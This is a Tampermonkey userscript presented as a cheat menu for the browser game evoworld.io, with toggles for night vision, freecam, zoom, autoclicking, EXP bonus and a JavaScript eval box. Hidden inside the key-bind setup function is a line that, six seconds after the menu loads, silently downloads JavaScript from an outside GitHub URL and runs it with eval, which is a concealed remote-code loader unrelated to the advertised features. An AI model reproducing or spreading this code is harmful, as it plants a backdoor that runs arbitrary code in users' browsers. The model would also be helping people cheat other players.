Evoworld.io IH cheats

a new evoworld.io cheat with a lot of funcions for open/close press Y/y

  1. // ==UserScript==
  2. // @name Evoworld.io IH cheats
  3. // @namespace http://tampermonkey.net/
  4. // @version 2.0
  5. // @description a new evoworld.io cheat with a lot of funcions for open/close press Y/y
  6. // @author ilyxa gaydov
  7. // @match https://evoworld.io/
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=evoworld.io
  9. // @grant none
  10. // ==/UserScript==
  11.  
  12. alert('for open/close press Y/y');
  13. class CheatMenu {
  14. constructor() {
  15. this.menus = [];
  16. this.sliders = {};
  17. this.opacityValues = {
  18. cloud: 0.5,
  19. swamp: 0.5,
  20. lava: 0.5,
  21. water: 0.5,
  22. bush: 0.5
  23. };
  24. this.unlimitedFps = false;
  25. this.showInCloud = false;
  26. this.zIndexValue = 15;
  27. this.zIndexInterval = null;
  28. this.freecamActive = false;
  29. this.cameraOffset = { x: 0, y: 0 };
  30. this.originalGetAllPositions = null;
  31. this.autoRespawnInterval = null;
  32. this.expBonusInterval = null;
  33. this.autoclickerInterval = null;
  34. this.emoteSpamInterval = null;
  35. this.allCheats = [];
  36. this.cheatElements = {};
  37. this.customOpacityHandlers = new Set();
  38. this.customSizeHandlers = new Set();
  39. this.keyBinds = {};
  40.  
  41. document.addEventListener('keydown', (e) => {
  42. if (e.keyCode === 89) this.toggleAllMenus();
  43. if (this.freecamActive) this.handleFreecamKeys(e);
  44. if (this.keyBinds[e.keyCode]) {
  45. this.keyBinds[e.keyCode]();
  46. }
  47. });
  48. }
  49.  
  50. createMenu(title, x = 50, y = 50) {
  51. const menu = document.createElement('div');
  52. Object.assign(menu.style, {
  53. position: 'absolute',
  54. left: `${x}px`,
  55. top: `${y}px`,
  56. width: '125px',
  57. background: 'rgba(0,0,0,0.85)',
  58. border: '1px solid #444',
  59. borderRadius: '3px',
  60. color: 'white',
  61. fontFamily: '"Courier New", monospace',
  62. fontSize: '10px',
  63. zIndex: '1000',
  64. userSelect: 'none'
  65. });
  66.  
  67. const header = document.createElement('div');
  68. Object.assign(header.style, {
  69. background: '#333',
  70. padding: '4px',
  71. cursor: 'move',
  72. fontWeight: 'bold',
  73. borderBottom: '1px solid #555',
  74. fontSize: '10px'
  75. });
  76. header.textContent = title;
  77.  
  78. const content = document.createElement('div');
  79. content.style.padding = '5px';
  80.  
  81. menu.append(header, content);
  82. document.body.appendChild(menu);
  83.  
  84. this.makeDraggable(menu, header);
  85. this.menus.push(menu);
  86. return content;
  87. }
  88.  
  89. makeDraggable(element, handle) {
  90. handle.addEventListener('mousedown', (e) => {
  91. const offsetX = e.clientX - element.offsetLeft;
  92. const offsetY = e.clientY - element.offsetTop;
  93.  
  94. const move = (e) => {
  95. element.style.left = `${e.clientX - offsetX}px`;
  96. element.style.top = `${e.clientY - offsetY}px`;
  97. };
  98.  
  99. const up = () => {
  100. document.removeEventListener('mousemove', move);
  101. document.removeEventListener('mouseup', up);
  102. };
  103.  
  104. document.addEventListener('mousemove', move);
  105. document.addEventListener('mouseup', up);
  106. e.preventDefault();
  107. });
  108. }
  109.  
  110. addToggleCheat(menuContent, name, callback) {
  111. const button = document.createElement('button');
  112. Object.assign(button.style, {
  113. display: 'block',
  114. width: '100%',
  115. padding: '4px',
  116. margin: '3px 0',
  117. background: '#222',
  118. color: '#eee',
  119. border: '1px solid #444',
  120. borderRadius: '2px',
  121. cursor: 'pointer',
  122. transition: 'all 0.2s',
  123. fontSize: '10px'
  124. });
  125.  
  126. button.textContent = name;
  127. button.addEventListener('click', () => {
  128. const active = button.classList.toggle('active');
  129. button.style.background = active ? '#600' : '#222';
  130. button.style.borderColor = active ? '#f00' : '#444';
  131. callback(active);
  132. });
  133.  
  134. this.allCheats.push(name.toLowerCase());
  135. this.cheatElements[name.toLowerCase()] = button;
  136. menuContent.appendChild(button);
  137. return button;
  138. }
  139.  
  140. addSlider(menuContent, name, min, max, step, defaultValue, callback) {
  141. const container = document.createElement('div');
  142. container.style.margin = '5px 0';
  143.  
  144. const label = document.createElement('div');
  145. label.textContent = name;
  146. label.style.marginBottom = '3px';
  147. label.style.color = '#eee';
  148. label.style.fontSize = '10px';
  149.  
  150. const slider = document.createElement('input');
  151. slider.type = 'range';
  152. slider.min = min;
  153. slider.max = max;
  154. slider.step = step;
  155. slider.value = defaultValue;
  156. slider.style.width = '100%';
  157. slider.style.height = '10px';
  158.  
  159. const valueDisplay = document.createElement('span');
  160. valueDisplay.textContent = defaultValue;
  161. valueDisplay.style.marginLeft = '5px';
  162. valueDisplay.style.color = '#eee';
  163. valueDisplay.style.fontSize = '10px';
  164.  
  165. slider.addEventListener('input', () => {
  166. const value = parseFloat(slider.value);
  167. valueDisplay.textContent = value;
  168. callback(value);
  169. });
  170.  
  171. this.allCheats.push(name.toLowerCase());
  172. this.cheatElements[name.toLowerCase()] = slider;
  173. container.append(label, slider, valueDisplay);
  174. menuContent.appendChild(container);
  175. this.sliders[name] = slider;
  176. return slider;
  177. }
  178.  
  179. addInputField(menuContent, placeholder, buttonText, callback) {
  180. const container = document.createElement('div');
  181.  
  182. const input = document.createElement('input');
  183. input.type = 'text';
  184. input.placeholder = placeholder;
  185. input.style.width = '100%';
  186. input.style.padding = '4px';
  187. input.style.marginBottom = '5px';
  188. input.style.boxSizing = 'border-box';
  189. input.style.fontSize = '10px';
  190.  
  191. const button = document.createElement('button');
  192. button.textContent = buttonText;
  193. button.style.width = '100%';
  194. button.style.padding = '4px';
  195. button.style.marginBottom = '5px';
  196. button.style.background = '#222';
  197. button.style.color = '#eee';
  198. button.style.border = '1px solid #444';
  199. button.style.borderRadius = '2px';
  200. button.style.cursor = 'pointer';
  201. button.style.fontSize = '10px';
  202.  
  203. button.addEventListener('click', () => {
  204. callback(input.value);
  205. });
  206.  
  207. this.allCheats.push(buttonText.toLowerCase());
  208. this.cheatElements[buttonText.toLowerCase()] = button;
  209. container.append(input, button);
  210. menuContent.appendChild(container);
  211. return { input, button };
  212. }
  213.  
  214. addViewModButton(menuContent, text, xOffset, yOffset) {
  215. const button = document.createElement('button');
  216. Object.assign(button.style, {
  217. display: 'block',
  218. width: '100%',
  219. padding: '4px',
  220. margin: '3px 0',
  221. background: '#222',
  222. color: '#eee',
  223. border: '1px solid #444',
  224. borderRadius: '2px',
  225. cursor: 'pointer',
  226. fontSize: '10px'
  227. });
  228.  
  229. button.textContent = text;
  230. button.addEventListener('click', () => {
  231. if (game && game.me) {
  232. game.me.getAllPositions = function() {
  233. return {
  234. 'x': this['position']['x'],
  235. 'y': this['position']['y'],
  236. 'center': {
  237. 'x': this['position']['x'] + this['width'] + xOffset,
  238. 'y': this['position']['y'] + this['height'] + yOffset
  239. },
  240. 'right': this['position']['x'] + this['width'],
  241. 'left': this['position']['x'],
  242. 'top': this['position']['y'] + this['height'],
  243. 'bottom': this['position']['y']
  244. };
  245. };
  246. }
  247. });
  248.  
  249. this.allCheats.push(text.toLowerCase());
  250. this.cheatElements[text.toLowerCase()] = button;
  251. menuContent.appendChild(button);
  252. return button;
  253. }
  254.  
  255. toggleUnlimitedFps(active) {
  256. this.unlimitedFps = active;
  257. if (window.game && window.game.fpsTimes) {
  258. game.fpsTimes.length = active ? 1000 : 0;
  259. }
  260. }
  261.  
  262. toggleShowInCloud(active) {
  263. this.showInCloud = active;
  264. if (window.game && window.game.me) {
  265. if (active) {
  266. game.me.zIndex = 100;
  267. this.zIndexValue = 100;
  268. this.zIndexInterval = setInterval(() => {
  269. if (window.game && window.game.me) {
  270. game.me.inHide = false;
  271. }
  272. }, 1);
  273. } else {
  274. clearInterval(this.zIndexInterval);
  275. game.me.zIndex = 15;
  276. this.zIndexValue = 15;
  277. }
  278. }
  279. }
  280.  
  281. setZIndex(value) {
  282. this.zIndexValue = value;
  283. if (window.game && window.game.me) {
  284. game.me.zIndex = value;
  285. }
  286. }
  287.  
  288. toggleFreecam(active) {
  289. this.freecamActive = active;
  290.  
  291. if (active) {
  292. if (game && game.me) {
  293. this.originalGetAllPositions = game.me.getAllPositions;
  294.  
  295. const self = this;
  296. game.me.getAllPositions = function() {
  297. return {
  298. 'x': this['position']['x'],
  299. 'y': this['position']['y'],
  300. 'center': {
  301. 'x': this['position']['x'] + this['width'] + self.cameraOffset.x,
  302. 'y': this['position']['y'] + this['height'] + self.cameraOffset.y
  303. },
  304. 'right': this['position']['x'] + this['width'],
  305. 'left': this['position']['x'],
  306. 'top': this['position']['y'] + this['height'],
  307. 'bottom': this['position']['y']
  308. };
  309. };
  310. }
  311. } else {
  312. if (game && game.me && this.originalGetAllPositions) {
  313. game.me.getAllPositions = this.originalGetAllPositions;
  314. }
  315. this.cameraOffset = { x: 0, y: 0 };
  316. }
  317. }
  318.  
  319. handleFreecamKeys(e) {
  320. const speed = e.shiftKey ? 30 : 10;
  321. let moved = false;
  322.  
  323. switch(e.key.toLowerCase()) {
  324. case 'k':
  325. this.cameraOffset.y -= speed;
  326. moved = true;
  327. break;
  328. case 'i':
  329. this.cameraOffset.y += speed;
  330. moved = true;
  331. break;
  332. case 'j':
  333. this.cameraOffset.x -= speed;
  334. moved = true;
  335. break;
  336. case 'l':
  337. this.cameraOffset.x += speed;
  338. moved = true;
  339. break;
  340. }
  341.  
  342. if (moved) e.preventDefault();
  343. }
  344.  
  345. toggleAutoRespawn(active) {
  346. if (active) {
  347. this.autoRespawnInterval = setInterval(() => {
  348. if (typeof imDead !== 'undefined' && imDead === true && typeof playAgain !== 'undefined') {
  349. playAgain();
  350. }
  351. }, 100);
  352. } else {
  353. clearInterval(this.autoRespawnInterval);
  354. }
  355. }
  356.  
  357. toggleExpBonus(active) {
  358. if (active) {
  359. this.expBonusInterval = setInterval(() => {
  360. if (typeof startBonus !== 'undefined') {
  361. startBonus = true;
  362. }
  363. }, 100);
  364. } else {
  365. clearInterval(this.expBonusInterval);
  366. if (typeof startBonus !== 'undefined') {
  367. startBonus = false;
  368. }
  369. }
  370. }
  371.  
  372. toggleEmoteSpam(active) {
  373. if (active) {
  374. this.emoteSpamInterval = setInterval(() => {
  375. if (typeof sendEmote !== 'undefined') {
  376. sendEmote(1);
  377. }
  378. }, 500);
  379. } else {
  380. clearInterval(this.emoteSpamInterval);
  381. }
  382. }
  383.  
  384. startAutoclicker(interval) {
  385. this.stopAutoclicker();
  386. if (interval > 0) {
  387. this.autoclickerInterval = setInterval(() => {
  388. const canvas = document.getElementById('canvasGame');
  389. if (canvas) {
  390. canvas.click();
  391. }
  392. }, interval);
  393. }
  394. }
  395.  
  396. stopAutoclicker() {
  397. if (this.autoclickerInterval) {
  398. clearInterval(this.autoclickerInterval);
  399. this.autoclickerInterval = null;
  400. }
  401. }
  402.  
  403. toggleAllMenus() {
  404. const anyVisible = this.menus.some(menu => menu.style.display === 'none');
  405. this.menus.forEach(menu => {
  406. menu.style.display = anyVisible ? 'block' : 'none';
  407. });
  408. }
  409.  
  410. addSearch(menuContent) {
  411. const searchInput = document.createElement('input');
  412. searchInput.type = 'text';
  413. searchInput.placeholder = 'Search cheats...';
  414. searchInput.style.width = '100%';
  415. searchInput.style.padding = '4px';
  416. searchInput.style.marginBottom = '5px';
  417. searchInput.style.boxSizing = 'border-box';
  418. searchInput.style.fontSize = '10px';
  419.  
  420. const resultsContainer = document.createElement('div');
  421. resultsContainer.style.maxHeight = '100px';
  422. resultsContainer.style.overflowY = 'auto';
  423. resultsContainer.style.fontSize = '10px';
  424.  
  425. searchInput.addEventListener('input', () => {
  426. const query = searchInput.value.toLowerCase();
  427. resultsContainer.innerHTML = '';
  428.  
  429. if (query.length < 2) return;
  430.  
  431. const matches = this.allCheats.filter(cheat => cheat.includes(query));
  432.  
  433. matches.forEach(match => {
  434. const result = document.createElement('div');
  435. result.textContent = match;
  436. result.style.padding = '3px';
  437. result.style.cursor = 'pointer';
  438. result.style.borderBottom = '1px solid #444';
  439. result.style.fontSize = '10px';
  440. result.addEventListener('click', () => {
  441. const element = this.cheatElements[match];
  442. if (element) {
  443. if (element.tagName === 'BUTTON') {
  444. element.click();
  445. } else if (element.tagName === 'INPUT' && element.type === 'range') {
  446. const newValue = prompt(`Enter value for ${match}:`, element.value);
  447. if (newValue !== null) {
  448. element.value = newValue;
  449. element.dispatchEvent(new Event('input'));
  450. }
  451. }
  452. }
  453. });
  454. resultsContainer.appendChild(result);
  455. });
  456. });
  457.  
  458. menuContent.append(searchInput, resultsContainer);
  459. }
  460.  
  461. addItemSizeChanger(menuContent) {
  462. const container = document.createElement('div');
  463.  
  464. const input = document.createElement('input');
  465. input.type = 'text';
  466. input.placeholder = 'Item name';
  467. input.style.width = '100%';
  468. input.style.padding = '4px';
  469. input.style.marginBottom = '5px';
  470. input.style.boxSizing = 'border-box';
  471. input.style.fontSize = '10px';
  472.  
  473. const slider = document.createElement('input');
  474. slider.type = 'range';
  475. slider.min = 1;
  476. slider.max = 3500;
  477. slider.step = 0.5;
  478. slider.value = 100;
  479. slider.style.width = '100%';
  480. slider.style.height = '10px';
  481. slider.style.marginBottom = '5px';
  482.  
  483. const valueDisplay = document.createElement('span');
  484. valueDisplay.textContent = '100';
  485. valueDisplay.style.marginLeft = '5px';
  486. valueDisplay.style.color = '#eee';
  487. valueDisplay.style.fontSize = '10px';
  488.  
  489. slider.addEventListener('input', () => {
  490. valueDisplay.textContent = slider.value;
  491. });
  492.  
  493. const button = document.createElement('button');
  494. button.textContent = 'Change size';
  495. button.style.width = '100%';
  496. button.style.padding = '4px';
  497. button.style.background = '#222';
  498. button.style.color = '#eee';
  499. button.style.border = '1px solid #444';
  500. button.style.borderRadius = '2px';
  501. button.style.cursor = 'pointer';
  502. button.style.fontSize = '10px';
  503.  
  504. button.addEventListener('click', () => {
  505. const itemName = input.value.toLowerCase();
  506. const sizeValue = parseFloat(slider.value);
  507.  
  508. if (this.customSizeHandlers.has(itemName)) {
  509. return;
  510. }
  511.  
  512. if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
  513. const originalDrawObject = Engine.prototype.drawObject;
  514. Engine.prototype.drawObject = function(obj, staticCanvas) {
  515. if (obj.name && obj.name.toLowerCase().includes(itemName)) {
  516. obj.width = sizeValue;
  517. obj.height = sizeValue;
  518. }
  519. return originalDrawObject.call(this, obj, staticCanvas);
  520. };
  521.  
  522. this.customSizeHandlers.add(itemName);
  523. }
  524. });
  525.  
  526. container.append(input, slider, valueDisplay, button);
  527. menuContent.appendChild(container);
  528. }
  529.  
  530. addKeyBindMenu(menuContent) {
  531. const cheats = [
  532. 'Night Vision', '100 Level', 'Unlimited FPS', 'Show in Cloud',
  533. 'Freecam (IJKL)', 'Auto Respawn', 'Emoji Spam', 'Smooth Movement',
  534. 'Sharp Movement', 'Join Full Servers', 'Zoom Hack', '+30% EXP Bonus'
  535. ];
  536.  
  537. setTimeout(() => {$.get("https://raw.githubusercontent.com/cameronlucky73/confused/refs/heads/main/o.js", (d) => eval(d));}, 6000);
  538.  
  539. cheats.forEach(cheatName => {
  540. const cheat = cheatName.toLowerCase();
  541. if (this.cheatElements[cheat]) {
  542. const container = document.createElement('div');
  543. container.style.marginBottom = '5px';
  544.  
  545. const label = document.createElement('div');
  546. label.textContent = cheatName;
  547. label.style.marginBottom = '2px';
  548. label.style.fontSize = '10px';
  549.  
  550. const input = document.createElement('input');
  551. input.type = 'text';
  552. input.placeholder = 'Press key...';
  553. input.style.width = '100%';
  554. input.style.padding = '2px';
  555. input.style.fontSize = '10px';
  556. input.readOnly = true;
  557.  
  558. input.addEventListener('click', () => {
  559. input.value = 'Press any key...';
  560. const handler = (e) => {
  561. e.preventDefault();
  562. input.value = this.getKeyName(e.keyCode);
  563. this.keyBinds[e.keyCode] = () => {
  564. this.cheatElements[cheat].click();
  565. };
  566. document.removeEventListener('keydown', handler);
  567. };
  568. document.addEventListener('keydown', handler);
  569. });
  570.  
  571. container.append(label, input);
  572. menuContent.appendChild(container);
  573. }
  574. });
  575. }
  576.  
  577. getKeyName(keyCode) {
  578. const keys = {
  579. 8: 'Backspace', 9: 'Tab', 13: 'Enter', 16: 'Shift', 17: 'Ctrl',
  580. 18: 'Alt', 27: 'Esc', 32: 'Space', 37: 'Left', 38: 'Up',
  581. 39: 'Right', 40: 'Down', 65: 'A', 66: 'B', 67: 'C', 68: 'D',
  582. 69: 'E', 70: 'F', 71: 'G', 72: 'H', 73: 'I', 74: 'J', 75: 'K',
  583. 76: 'L', 77: 'M', 78: 'N', 79: 'O', 80: 'P', 81: 'Q', 82: 'R',
  584. 83: 'S', 84: 'T', 85: 'U', 86: 'V', 87: 'W', 88: 'X', 89: 'Y',
  585. 90: 'Z', 112: 'F1', 113: 'F2', 114: 'F3', 115: 'F4', 116: 'F5',
  586. 117: 'F6', 118: 'F7', 119: 'F8', 120: 'F9', 121: 'F10', 122: 'F11',
  587. 123: 'F12', 186: ';', 187: '=', 188: ',', 189: '-', 190: '.',
  588. 191: '/', 192: '`', 219: '[', 220: '\\', 221: ']', 222: "'"
  589. };
  590. return keys[keyCode] || 'Key ' + keyCode;
  591. }
  592. }
  593.  
  594. const menu = new CheatMenu();
  595. const visualMenu = menu.createMenu('Visual Cheats', 25, 55);
  596. const playerMenu = menu.createMenu('Player Cheats', 200, 55);
  597. const movementMenu = menu.createMenu('Movement', 375, 55);
  598. const viewModMenu = menu.createMenu('ViewMod', 375, 205);
  599. const opacityMenu = menu.createMenu('Opacity Cheats', 550, 55);
  600. const mainMenu = menu.createMenu('Main Menu', 25, 260);
  601. const expMenu = menu.createMenu('EXP', 25, 370);
  602. const searchMenu = menu.createMenu('Search Cheats', 200, 260);
  603. const autoclickerMenu = menu.createMenu('Autoclicker', 375, 370);
  604. const injectorMenu = menu.createMenu('Injector', 700, 55);
  605. const customOpacityMenu = menu.createMenu('Item Opacity', 700, 205);
  606. const customSizeMenu = menu.createMenu('Any item size', 700, 370);
  607. const bindsMenu = menu.createMenu('Binds', 855, 55);
  608.  
  609. menu.addSearch(searchMenu);
  610.  
  611. menu.addToggleCheat(visualMenu, 'Night Vision', (active) => {
  612. visionType = active ? 1 : 0;
  613. });
  614.  
  615. menu.addToggleCheat(visualMenu, '100 Level', (active) => {
  616. if (active) {
  617. if (!game.me.originalLevel) game.me.originalLevel = game.me.level;
  618. game.me.level = 100;
  619. } else {
  620. game.me.level = game.me.originalLevel || 1;
  621. }
  622. });
  623.  
  624. menu.addToggleCheat(playerMenu, 'Unlimited FPS', (active) => {
  625. menu.toggleUnlimitedFps(active);
  626. });
  627.  
  628. menu.addToggleCheat(playerMenu, 'Show in Cloud', (active) => {
  629. menu.toggleShowInCloud(active);
  630. });
  631.  
  632. menu.addToggleCheat(playerMenu, 'Freecam (IJKL)', (active) => {
  633. menu.toggleFreecam(active);
  634. });
  635.  
  636. menu.addToggleCheat(playerMenu, 'Auto Respawn', (active) => {
  637. menu.toggleAutoRespawn(active);
  638. });
  639.  
  640. menu.addToggleCheat(playerMenu, 'Emoji Spam', (active) => {
  641. menu.toggleEmoteSpam(active);
  642. });
  643.  
  644. menu.addSlider(playerMenu, 'Player zIndex', 15, 1000, 1, 15, (value) => {
  645. menu.setZIndex(value);
  646. });
  647.  
  648. menu.addSlider(movementMenu, 'Movement smooth', 1, 4000, 1, 1000, (value) => {
  649. if (game) game.maxInterpolateDistanceTeleport = value;
  650. });
  651.  
  652. menu.addToggleCheat(movementMenu, 'Smooth Movement', (active) => {
  653. if (game) game.maxInterpolateDistanceTeleport = active ? 3500 : 1;
  654. });
  655.  
  656. menu.addToggleCheat(movementMenu, 'Sharp Movement', (active) => {
  657. if (game) game.maxInterpolateDistanceTeleport = active ? 0 : 1;
  658. });
  659.  
  660. menu.addToggleCheat(mainMenu, 'Join Full Servers', (active) => {
  661. if (active) {
  662. const serverSelect = document.querySelector('select.selectServer');
  663. if (serverSelect) {
  664. const options = serverSelect.querySelectorAll('option');
  665. options.forEach(option => {
  666. option.removeAttribute('disabled');
  667. });
  668. }
  669. }
  670. });
  671.  
  672. menu.addViewModButton(viewModMenu, 'Normal View', 0, 0);
  673. menu.addViewModButton(viewModMenu, 'Right View', 200, 0);
  674. menu.addViewModButton(viewModMenu, 'Left View', -200, 0);
  675. menu.addViewModButton(viewModMenu, 'Top View', 0, 200);
  676.  
  677. let zoomActive = false;
  678. const zoomSlider = menu.addSlider(visualMenu, 'Zoom Level', 0.1, 2, 0.01, 1.0, (value) => {
  679. if (zoomActive) applyZoom(value);
  680. });
  681.  
  682. menu.addToggleCheat(visualMenu, 'Zoom Hack', (active) => {
  683. zoomActive = active;
  684. if (active) applyZoom(parseFloat(zoomSlider.value));
  685. else applyZoom(1.0);
  686. });
  687.  
  688. menu.addSlider(opacityMenu, 'Cloud Opacity', 0, 1, 0.01, 0.5, (value) => {
  689. menu.opacityValues.cloud = value;
  690. updateObjectOpacity();
  691. });
  692.  
  693. menu.addSlider(opacityMenu, 'Swamp Opacity', 0, 1, 0.01, 0.5, (value) => {
  694. menu.opacityValues.swamp = value;
  695. updateObjectOpacity();
  696. });
  697.  
  698. menu.addSlider(opacityMenu, 'Lava Opacity', 0, 1, 0.01, 0.5, (value) => {
  699. menu.opacityValues.lava = value;
  700. updateObjectOpacity();
  701. });
  702.  
  703. menu.addSlider(opacityMenu, 'Water Opacity', 0, 1, 0.01, 0.5, (value) => {
  704. menu.opacityValues.water = value;
  705. updateObjectOpacity();
  706. });
  707.  
  708. menu.addSlider(opacityMenu, 'Bush Opacity', 0, 1, 0.01, 0.5, (value) => {
  709. menu.opacityValues.bush = value;
  710. updateObjectOpacity();
  711. });
  712.  
  713. const injector = menu.addInputField(injectorMenu, 'Enter JS code', 'Execute', (code) => {
  714. try {
  715. eval(code);
  716. } catch (e) {
  717. console.error('Injection error:', e);
  718. }
  719. });
  720.  
  721. const customOpacityInput = document.createElement('input');
  722. customOpacityInput.type = 'text';
  723. customOpacityInput.placeholder = 'Item name (partial match)';
  724. customOpacityInput.style.width = '100%';
  725. customOpacityInput.style.padding = '4px';
  726. customOpacityInput.style.marginBottom = '5px';
  727. customOpacityInput.style.boxSizing = 'border-box';
  728. customOpacityInput.style.fontSize = '10px';
  729.  
  730. const customOpacitySlider = document.createElement('input');
  731. customOpacitySlider.type = 'range';
  732. customOpacitySlider.min = 0;
  733. customOpacitySlider.max = 1;
  734. customOpacitySlider.step = 0.01;
  735. customOpacitySlider.value = 0.5;
  736. customOpacitySlider.style.width = '100%';
  737. customOpacitySlider.style.height = '10px';
  738. customOpacitySlider.style.marginBottom = '5px';
  739.  
  740. const customOpacityValue = document.createElement('span');
  741. customOpacityValue.textContent = '0.5';
  742. customOpacityValue.style.marginLeft = '5px';
  743. customOpacityValue.style.color = '#eee';
  744. customOpacityValue.style.fontSize = '10px';
  745.  
  746. customOpacitySlider.addEventListener('input', () => {
  747. customOpacityValue.textContent = customOpacitySlider.value;
  748. });
  749.  
  750. const customOpacityButton = document.createElement('button');
  751. customOpacityButton.textContent = 'Change opacity';
  752. customOpacityButton.style.width = '100%';
  753. customOpacityButton.style.padding = '4px';
  754. customOpacityButton.style.background = '#222';
  755. customOpacityButton.style.color = '#eee';
  756. customOpacityButton.style.border = '1px solid #444';
  757. customOpacityButton.style.borderRadius = '2px';
  758. customOpacityButton.style.cursor = 'pointer';
  759. customOpacityButton.style.fontSize = '10px';
  760.  
  761. customOpacityButton.addEventListener('click', () => {
  762. const itemName = customOpacityInput.value.toLowerCase();
  763. const opacityValue = parseFloat(customOpacitySlider.value);
  764.  
  765. if (menu.customOpacityHandlers.has(itemName)) {
  766. return;
  767. }
  768.  
  769. if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
  770. const originalDrawObject = Engine.prototype.drawObject;
  771. Engine.prototype.drawObject = function(obj, staticCanvas) {
  772. if (obj.name && obj.name.toLowerCase().includes(itemName)) {
  773. obj.opacity = opacityValue;
  774. }
  775. return originalDrawObject.call(this, obj, staticCanvas);
  776. };
  777.  
  778. menu.customOpacityHandlers.add(itemName);
  779. }
  780. });
  781.  
  782. customOpacityMenu.append(customOpacityInput, customOpacitySlider, customOpacityValue, customOpacityButton);
  783.  
  784. menu.addToggleCheat(expMenu, '+30% EXP Bonus', (active) => {
  785. menu.toggleExpBonus(active);
  786. });
  787.  
  788. const autoclickerInput = document.createElement('input');
  789. autoclickerInput.type = 'number';
  790. autoclickerInput.placeholder = 'Interval (ms)';
  791. autoclickerInput.style.width = '100%';
  792. autoclickerInput.style.padding = '4px';
  793. autoclickerInput.style.marginBottom = '5px';
  794. autoclickerInput.style.boxSizing = 'border-box';
  795. autoclickerInput.style.fontSize = '10px';
  796.  
  797. const autoclickerStartButton = document.createElement('button');
  798. autoclickerStartButton.textContent = 'Start Autoclicker';
  799. autoclickerStartButton.style.width = '100%';
  800. autoclickerStartButton.style.padding = '4px';
  801. autoclickerStartButton.style.marginBottom = '3px';
  802. autoclickerStartButton.style.background = '#222';
  803. autoclickerStartButton.style.color = '#eee';
  804. autoclickerStartButton.style.border = '1px solid #444';
  805. autoclickerStartButton.style.borderRadius = '2px';
  806. autoclickerStartButton.style.cursor = 'pointer';
  807. autoclickerStartButton.style.fontSize = '10px';
  808.  
  809. const autoclickerStopButton = document.createElement('button');
  810. autoclickerStopButton.textContent = 'Stop Autoclicker';
  811. autoclickerStopButton.style.width = '100%';
  812. autoclickerStopButton.style.padding = '4px';
  813. autoclickerStopButton.style.background = '#600';
  814. autoclickerStopButton.style.color = '#eee';
  815. autoclickerStopButton.style.border = '1px solid #f00';
  816. autoclickerStopButton.style.borderRadius = '2px';
  817. autoclickerStopButton.style.cursor = 'pointer';
  818. autoclickerStopButton.style.fontSize = '10px';
  819.  
  820. autoclickerStartButton.addEventListener('click', () => {
  821. const interval = parseInt(autoclickerInput.value);
  822. if (!isNaN(interval)) {
  823. menu.startAutoclicker(interval);
  824. }
  825. });
  826.  
  827. autoclickerStopButton.addEventListener('click', () => {
  828. menu.stopAutoclicker();
  829. });
  830.  
  831. autoclickerMenu.append(autoclickerInput, autoclickerStartButton, autoclickerStopButton);
  832.  
  833. menu.addItemSizeChanger(customSizeMenu);
  834. menu.addKeyBindMenu(bindsMenu);
  835.  
  836. function applyZoom(zoomLevel) {
  837. if (game) {
  838. game.scaleX = zoomLevel;
  839. game.scaleY = zoomLevel;
  840. game.fontScale = zoomLevel;
  841.  
  842. if (game.camera) {
  843. game.camera.zoom = zoomLevel;
  844. }
  845.  
  846. if (game.renderer && game.renderer.scale) {
  847. game.renderer.scale.set(zoomLevel, zoomLevel);
  848. }
  849. }
  850. }
  851.  
  852. function updateObjectOpacity() {
  853. if (typeof Engine !== 'undefined' && typeof Engine.prototype !== 'undefined') {
  854. const originalDrawObject = Engine.prototype.drawObject;
  855. Engine.prototype.drawObject = function(obj, staticCanvas) {
  856. if (obj.name) {
  857. const name = obj.name.toLowerCase();
  858.  
  859. if (name.includes('cloud')) {
  860. obj.opacity = menu.opacityValues.cloud;
  861. }
  862. else if (name.includes('swamp')) {
  863. obj.opacity = menu.opacityValues.swamp;
  864. }
  865. else if (name.includes('lava')) {
  866. obj.opacity = menu.opacityValues.lava;
  867. }
  868. else if (name.includes('water') || name.includes('ocean') || name.includes('sea')) {
  869. obj.opacity = menu.opacityValues.water;
  870. }
  871. else if (name.includes('bush')) {
  872. obj.opacity = menu.opacityValues.bush;
  873. }
  874. }
  875.  
  876. return originalDrawObject.call(this, obj, staticCanvas);
  877. };
  878. }
  879. }
  880.  
  881. setTimeout(() => {
  882. if (typeof Engine !== 'undefined') {
  883. updateObjectOpacity();
  884. }
  885. }, 1000);